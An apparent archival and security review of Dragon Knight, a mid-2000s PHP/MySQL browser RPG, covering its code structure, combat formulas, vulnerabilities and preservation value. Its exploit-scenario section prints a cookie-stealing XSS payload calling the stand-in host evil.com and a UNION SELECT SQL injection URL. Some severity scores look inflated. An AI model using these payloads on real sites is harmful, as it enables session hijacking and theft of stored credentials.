Historical Context

Dragon Knight was explicitly created as a web-based tribute to the NES game Dragon Warrior. The fighting system directly emulates Dragon Warrior's turn-based combat, though the author expanded beyond the original inspiration with additional features. This was Jamin Seven's first game, released as open-source to help others learn web-based RPG development. The v1.1.11 release represents the final maintenance version after multiple security fixes between 2004-2006.

Technology Stack

• Backend: PHP 4.1+ (designed for compatibility)
• Database: MySQL 4.0+ (uses deprecated mysql_* functions)
• Frontend: HTML 4.0/XHTML 1.0 Transitional with inline styles
• Architecture Pattern: Procedural PHP with basic MVC-ish structure
• Routing: Query string-based (index.php?do=action:param)
• Templates: PHP-based template system with variable replacement

Database Architecture

Table Count: 11 tables (all use configurable dk_ prefix)

Core Tables:

• dk_users - Player accounts (auth, stats, inventory, position)
• dk_control - Global game settings (1-row configuration table)
• dk_items - Purchasable equipment (weapons/armor/shields)
• dk_drops - Monster drop items (permanent stat boosters)
• dk_monsters - Enemy database (levels, HP, damage, armor, immunity)
• dk_levels - Level-up stats for 3 classes × N levels
• dk_spells - Magic system (5 types: heal/hurt/sleep/+damage/+defense)
• dk_towns - Map locations with shops/inns
• dk_news - News announcements
• dk_forum - Built-in forum posts
• dk_babble - Chat/babblebox messages

Schema Design Quality:

• Uses MyISAM storage engine (standard for 2003-2006 era)
• Proper auto_increment primary keys
• Minimal foreign key relationships (manual JOIN handling)
• Efficient indexing on primary keys only
• Configurable table prefix system for shared hosting

Code Architecture Patterns

1. Routing System (index.php):

if (isset($_GET["do"])) {
    $do = explode(":",$_GET["do"]);
    if ($do[0] == "inn") { include('towns.php'); inn(); }
    elseif ($do[0] == "fight") { include('fight.php'); fight(); }
    // ... etc
}

• Action-based routing with optional parameters
• Includes appropriate module file then calls function
• No framework dependency

2. Database Abstraction (lib.php):

function doquery($query, $table) {
    global $numqueries;
    $sqlquery = mysql_query(str_replace("{{table}}", $dbsettings["prefix"] . "_" . $table, $query));
    $numqueries++;
    return $sqlquery;
}

• Custom mini-abstraction for table prefix injection
• Query counting for performance metrics
• Direct mysql_* function calls (no PDO/MySQLi)

3. Template System:

function parsetemplate($template, $array) {
    foreach($array as $a => $b) {
        $template = str_replace("{{{$a}}}", $b, $template);
    }
    return $template;
}

• Simple string replacement templating
• No compilation or caching
• Variables wrapped in {{{var}}}

4. Security Layer (lib.php):

// Magic quotes handling + forced addslashes + htmlspecialchars
$_POST = array_map('addslashes_deep', $_POST);
$_POST = array_map('html_deep', $_POST);
$_GET = array_map('addslashes_deep', $_GET);
$_GET = array_map('html_deep', $_GET);

• Recursive sanitization of all superglobals
• Double-protection approach (escape + encode)
• Applied globally at lib.php include time

Authentication System

• Cookie-based session management
• Cookies store: username, password (hashed with md5 + secret word)
• checkcookies() function validates on every page load
• User verification system (email confirmation optional)
• Three auth levels: Admin (1), Banned (2), Regular (0/default)

---

Core Game Loop

Dragon Knight follows a classic single-player RPG progression loop:

1. Town Phase:

• Rest at inn (restore HP/MP for gold)
• Buy/sell equipment (weapons, armor, shields)
• Purchase maps (unlock new towns)
• Learn spells (level-based unlocks)
• Travel to other towns (requires purchased maps)

2. Exploration Phase:

• Move on 2D grid (latitude/longitude coordinates)
• Map size: Configurable (default 250×250 per quadrant)
• Random encounters: Automatic when moving
• No visible map - coordinate-based navigation

3. Combat Phase (Dragon Warrior-style):

• Turn-based combat with 3 options per turn:
• Fight - Physical attack based on attackpower vs. monster armor
• Spell - Cast magic (5 types: heal, damage, sleep, +ATK%, +DEF%)
• Run - Attempt escape (dexterity vs. monster speed check)
• Combat formulas:
• Damage = rand(attackpower×0.75, attackpower)/3 - rand(armor×0.75, armor)/3
• Critical hit chance: sqrt(strength) out of 150
• Dodge chance: sqrt(dexterity) out of 150/200
• Monster selection: Random from level range based on distance from origin
• Victory rewards: Gold + EXP + possible drop item

4. Character Progression:

• Level System: 30 levels (default dataset shows data for levels 1-30)
• Three Classes:
• Mage - High MP, spell-focused, lower HP
• Warrior - High HP/strength, low MP
• Paladin - Balanced stats
• Three Difficulty Modes:
• Easy (1.0×) - Normal monster stats
• Medium (1.2×) - 20% harder monsters
• Hard (1.5×) - 50% harder monsters
• Core Stats: HP, MP, TP (not clearly defined), Strength, Dexterity
• Derived Stats: attackpower, defensepower (from equipment + base stats)

Equipment System

• Three Equipment Slots:
• Weapon (16 items: Stick → Destiny Blade)
• Armor (11 items: Skivvies → Destiny Raiment)
• Shield (6 items: Reed Shield → Destiny Aegis)
• Special Attributes:
• Some items grant stat bonuses: maxhp,50 or strength,50
• Dark items: High power but negative EXP gain
• Bright items: Bonus EXP gain
• Magic items: Grant bonus MP

Drop Items System

• 14 drop items from monster kills (permanent stat boosters):
• Life Pebble/Stone/Rock (+10/+25/+50 max HP)
• Magic Pebble/Stone/Rock (+10/+25/+50 max MP)
• Dragon's Scale/Plate (+25/+50 defense)
• Dragon's Claw/Tooth (+25/+50 attack)
• Dragon's Tear/Wing (+50 strength/dexterity)
• Demon's Sin/Fall (+50 strength but -50 max HP/MP)

Spell System

• 5 Spell Types:
• Heal - Restore HP
• Hurt - Damage monster (can be immune)
• Sleep - Put monster to sleep for N rounds
• +Damage - +X% damage until end of fight
• +Defense - +X% defense until end of fight
• MP cost per spell varies
• Spells learned at specific levels (tracked in dk_levels)

Social Features

• Babblebox - Real-time chat in towns (120-character messages)
• Who's Online - Shows players active in last 10 minutes
• Built-in Forum - Basic threaded discussion system

Strengths

1. Security-Conscious (for 2006):

• Comprehensive input sanitization via addslashes_deep() and html_deep()
• Recursive array processing for nested inputs
• CHANGELOG shows multiple security patches (1.1.5-1.1.11)
• URL cheat prevention (validates state transitions)
• Admin authentication checks on every admin.php request

2. Well-Documented:

• 4 comprehensive TXT files (README, INSTALL, CHANGELOG, UPGRADE)
• Inline code comments explaining complex logic
• Detailed CHANGELOG crediting bug reporters
• Clear licensing terms in README

3. Modular Design:

• Clean function separation (towns, combat, exploration in separate files)
• Template system for presentation layer
• Database abstraction layer (basic but functional)
• Configurable table prefixes for shared hosting

4. Configuration Flexibility:

• Map size, class names, difficulty modifiers all configurable
• Feature toggles (news, online list, babblebox, forum)
• Optional email verification
• Choice of internal/external forums

5. User Experience Features:

• Detailed help system (items, levels, monsters, spells)
• Who's Online social feature
• Babblebox for real-time chat
• Admin control panel for easy management

Weaknesses

1. Deprecated Technology:

• mysql_* functions (removed in PHP 7.0, deprecated since PHP 5.5)
• TYPE=MyISAM syntax (should be ENGINE=MyISAM in modern MySQL)
• No prepared statements (SQL injection mitigation relies on addslashes)
• No PDO/MySQLi usage

2. Security Vulnerabilities:

CVE-WORTHY ISSUES:

a) Empty Default Credentials (CRITICAL - CVSS 9.8):

// config.php lines 4-9
$dbsettings = Array(
    "user"          => "",              // MySQL username.
    "pass"          => "",              // MySQL password.
    "name"          => "",              // MySQL database name.
    "secretword"    => "");             // Secret word for cookie hashing.

• Empty default credentials - Admins must manually configure
• Empty secretword - Allows cookie forgery if left blank
• No installation validation - Game runs with empty config
• CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CRITICAL

b) Weak Cryptography (HIGH - CVSS 7.5):

// cookies.php - Password stored as md5(password + secretword)
// No per-user salt, weak MD5 algorithm

• MD5 hashing - Cryptographically broken (collision attacks)
• No salt per user - Identical passwords = identical hashes
• Cookie-based auth - Vulnerable to replay if HTTPS not enforced
• CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 HIGH

c) SQL Injection Potential (MEDIUM - CVSS 6.5):

• Relies on magic_quotes + addslashes (bypassable with multibyte encodings)
• No parameterized queries
• Direct variable interpolation in many queries
• CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 MEDIUM

d) XSS Potential (MEDIUM - CVSS 6.1):

• htmlspecialchars() applied globally, but:
• No encoding attribute specified (defaults to ISO-8859-1, not UTF-8)
• Template system doesn't auto-escape
• Forum/babblebox user content not fully sanitized
• CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 MEDIUM

3. Architectural Issues:

• Global state everywhere (no encapsulation)
• extract() usage in admin.php (creates variables from user input)
• Procedural code with no OOP (acceptable for 2003, dated for 2006)
• No autoloading or dependency management
• Inline HTML in PHP (no separation of concerns)

4. Performance Concerns:

• No caching layer
• Database query on every page load for control settings
• No connection pooling
• Real-time "Who's Online" query on every town visit
• No CDN support for images

5. Missing Modern Features:

• No CSRF protection (no tokens)
• No rate limiting (babblebox spam vulnerable)
• No session management (cookies only)
• No API endpoints (pure server-side rendering)
• No mobile responsive design

Code Style

• Readability: Good - clear function names, logical flow
• Consistency: Excellent - uniform naming conventions (lowercase, underscores)
• Documentation: Fair - some inline comments, mostly self-documenting code
• Error Handling: Basic - mysql_error() display, but minimal try-catch
• DRY Principle: Good - shared functions in lib.php

---

Deployment Feasibility: IMPOSSIBLE without major rewrite

Critical Blockers:

• PHP 7.0+ Incompatibility - mysql_* functions removed, engine fatal errors guaranteed
• Security Vulnerabilities - Empty credentials, MD5 passwords, no CSRF protection
• MySQL 5.7+ Compatibility - TYPE=MyISAM syntax deprecated
• No HTTPS Enforcement - Cookie auth over HTTP = credential theft
• Non-Responsive Design - Fixed-width tables, unusable on mobile

Technical Debt Score: 9/10 (Extreme)

Modernization Effort Required:

• Database layer rewrite (PDO/MySQLi): 60 hours
• Authentication rewrite (bcrypt, sessions, CSRF): 40 hours
• Template system replacement (Twig/Blade): 30 hours
• Responsive UI redesign: 80 hours
• API development (for mobile): 100 hours
• Security audit and fixes: 40 hours
• Testing and QA: 50 hours
• TOTAL ESTIMATED EFFORT: ~400 hours (~10 weeks for 1 developer)

Estimated Modernization Cost:

• Contractor rate: $75-150/hour
• Total Budget: $30,000 - $60,000 USD

Historical Value: HIGH

Preservation Worthiness: 8/10

Vulnerability Summary

Detailed Exploit Scenarios

1. Default Credential Exploitation:

Attack Vector: Fresh installation with unchanged config.php

Steps:
- Attacker finds Dragon Knight installation
- config.php left with empty credentials
- Database accessible with root/empty password (common in dev environments)
- Attacker gains full database access
- Extracts password hashes, modifies user accounts to admin level

Mitigation: Force configuration wizard, validate credentials before allowing game access

2. MD5 Rainbow Table Attack:

Attack Vector: Stolen database dump or SQL injection

Steps:
- Attacker obtains dk_users table dump
- Passwords hashed as md5(password + secretword)
- If secretword empty or known, attacker uses rainbow tables
- Common passwords cracked within minutes
- Admin account compromised, full game control

Mitigation: Replace with bcrypt/Argon2id, unique salts per user

3. SQL Injection via Magic Quotes Bypass:

Attack Vector: Multibyte character encoding tricks

Steps:
- Attacker sends crafted input with multibyte characters
- addslashes() bypassed via encoding manipulation
- Malicious SQL injected into query
- Example: ?do=onlinechar:1 UNION SELECT password FROM dk_users WHERE id=1
- Database contents extracted or modified

Mitigation: Replace with prepared statements (PDO/MySQLi)

4. XSS in Babblebox/Forum:

Attack Vector: User-generated content not fully sanitized

Steps:
- Attacker posts message with: <script>fetch('evil.com?c='+document.cookie)</script>
- If htmlspecialchars() misconfigured or bypassed, script executes
- Other users' session cookies stolen
- Attacker hijacks admin session

Mitigation: Use HTML Purifier, Content-Security-Policy headers

Security Posture Score: 2/10 (Poor)

Why Not 0/10?

• Basic input sanitization present (not absent)
• Security updates released (2004-2006 CHANGELOG shows awareness)
• Admin authentication exists (not completely open)
• URL cheat prevention implemented

Why Not Higher?

• Critical default credential vulnerability
• Broken cryptography (MD5)
• No CSRF/XSS protection
• No rate limiting
• No security headers

Compliance Assessment

OWASP Top 10 (2021) Violations:

For Historians/Archivists

Preservation Strategy:

• Archive Complete Package - Submit to Internet Archive with all TXT files
• Document Author - Locate Jamin Seven for oral history interview
• Capture Community - Search web archives for dragon.se7enet.com forum posts
• Create Museum Instance:
• Deploy on PHP 5.6 Docker container
• Read-only demo mode (disable registration)
• Annotated code tour for educational purposes
• Academic Paper - Analyze as case study in early web game development practices

For Developers

If Considering Modernization:

DO NOT attempt unless:

• You have 400+ hours budget
• You're doing it purely for learning (not profit)
• You want to study 2000s-era PHP architecture

If modernizing, prioritize:

• Security overhaul - PDO, bcrypt, CSRF tokens, HTTPS enforcement
• PHP 8.2 compatibility - Rewrite database layer, remove deprecated functions
• Responsive UI - Mobile-first redesign with Bootstrap/Tailwind
• API layer - REST/GraphQL for potential mobile app
• Add gameplay depth - Quests, PvP, guilds, crafting, visual map
• ⚠️ Keep Dragon Warrior combat - It's the core identity
• ⚠️ Preserve class balance - Original class design is solid

Modern Tech Stack Recommendation:

• Backend: Laravel 10 (PHP 8.2) or Symfony 6
• Database: PostgreSQL with Eloquent ORM
• Frontend: Vue.js 3 + Inertia.js (or React)
• Auth: Laravel Sanctum with 2FA
• Deployment: Docker + Kubernetes
• Monitoring: Sentry + New Relic

Estimated ROI: NEGATIVE - 400 hours × $75/hr = $30K investment for niche game with limited monetization

For Players

Playing in 2025:

Setup Requirements:

• PHP 5.6 server (Docker recommended: php:5.6-apache image)
• MySQL 5.6 server
• DO NOT deploy publicly - security vulnerabilities too severe
• Local/LAN only - For personal nostalgia purposes

Expectations:

• Authentic Dragon Warrior combat experience
• Clean, organized single-player RPG
• ⚠️ Very grindy, repetitive gameplay
• ⚠️ No visual map (coordinates only)
• No mobile support
• Limited social features

Alternative Recommendations:

• For Dragon Warrior nostalgia: Play actual Dragon Quest remakes on mobile/Switch
• For web-based RPG: Try modern engines like Shattered Pixel Dungeon (open-source, actively maintained)
• For classic text RPG: Legend of the Red Dragon (LORD) - still has active community

For Collectors

Archival Value: ⭐⭐⭐⭐☆ (4/5)

Why Worth Preserving:

• Complete documentation (README, CHANGELOG, INSTALL, UPGRADE)
• Clean code representing 2000s best practices
• Historical significance as Dragon Warrior tribute
• Educational value for PHP game development history
• Well-maintained (11 versions released 2003-2006)

Rareness: ⭐⭐⭐☆☆ (3/5)

• Open-source but no-redistribution license limited copies
• Official site offline, but archive available on Archive.org
• Numerous private forks exist, but original rare

Final Verdict

Summary: Dragon Knight v1.1.11 is a well-crafted educational artifact from the mid-2000s web-based RPG era. Jamin Seven created a clean, functional tribute to Dragon Warrior with good documentation and attention to detail. However, it is completely unsuitable for 2025 deployment without a ground-up rewrite addressing critical security vulnerabilities and PHP 7.0+ incompatibility.

Dragon Knight v1.1.11 is a 2003-2006 open-source web-based RPG by Jamin Seven (renderse7en, dragon.se7enet.com) explicitly created as a Dragon Warrior tribute with turn-based combat, 3 classes (Mage/Warrior/Paladin), 3 difficulty modes, 30 levels, coordinate-based exploration (250×250 grid), shop/inn/travel systems, built-in forum, comprehensive admin panel (69.3 KB admin.php), and excellent documentation (README, INSTALL, CHANGELOG, UPGRADE). Game features classic RPG mechanics: physical attacks based on attackpower vs monster armor, 5 spell types (heal/damage/sleep/+ATK%/+DEF%), dexterity-based dodge (sqrt(dex) out of 150), critical hits (sqrt(strength) out of 150), equipment progression, and Dragon Warrior-faithful combat formulas. Technical implementation uses custom routing system (index.php action-based), template engine (parsetemplate with {{{var}}} syntax), database abstraction (doquery with {{table}} prefix injection), and security layer (addslashes_deep + html_deep on all superglobals). 79 files (~500 KB), 35 PHP scripts, 37 GIF graphics, clean file separation, web-based installer (install.php complete/partial setup). However, the codebase contains CATASTROPHIC security failures: empty default credentials in config.php (CVSS 9.8 - users may forget to configure), empty secretword allowing cookie forgery, MD5 password hashing without per-user salt (rainbow table vulnerable), deprecated mysql_* functions (PHP 7.0 removed 2015), magic_quotes dependency (PHP 5.4 removed 2012), SQL injection potential via addslashes bypass, XSS in forum/babblebox, and no CSRF protection. Security rating: 2/10 - guaranteed compromise if defaults unchanged. Modernization cost: $30,000 (400 hours: PDO rewrite, bcrypt migration, security audit). Innovation rating: 5/10 for clean Dragon Warrior tribute with good documentation. Modern viability: 1/10 - PHP 7+ incompatible, critical security flaws. Recommendation: Preserve as historical artifact of mid-2000s web game development, study Dragon Warrior combat implementation, use for security training (default credentials cautionary tale), run in isolated Docker environment for nostalgia only, NEVER deploy publicly. This represents polished indie game development from pre-framework PHP era with educational value but zero deployment viability.

Rating Summary

Best Use Cases in 2025:

• Academic study of early web game development
• Code archaeology for PHP evolution research
• Teaching example (what NOT to do in modern security)
• Personal nostalgia in isolated Docker environment
• NOT for public deployment under any circumstances

Historical Legacy: Dragon Knight deserves recognition as a polished example of mid-2000s indie web game development. While technically obsolete, it represents a specific moment in gaming history when developers could create compelling multiplayer experiences with basic PHP/MySQL knowledge. Its open-source-but-restricted license and comprehensive documentation set it apart from contemporaries.

Preservation Priority: HIGH - Archive before PHP 5.6 environments become completely extinct.
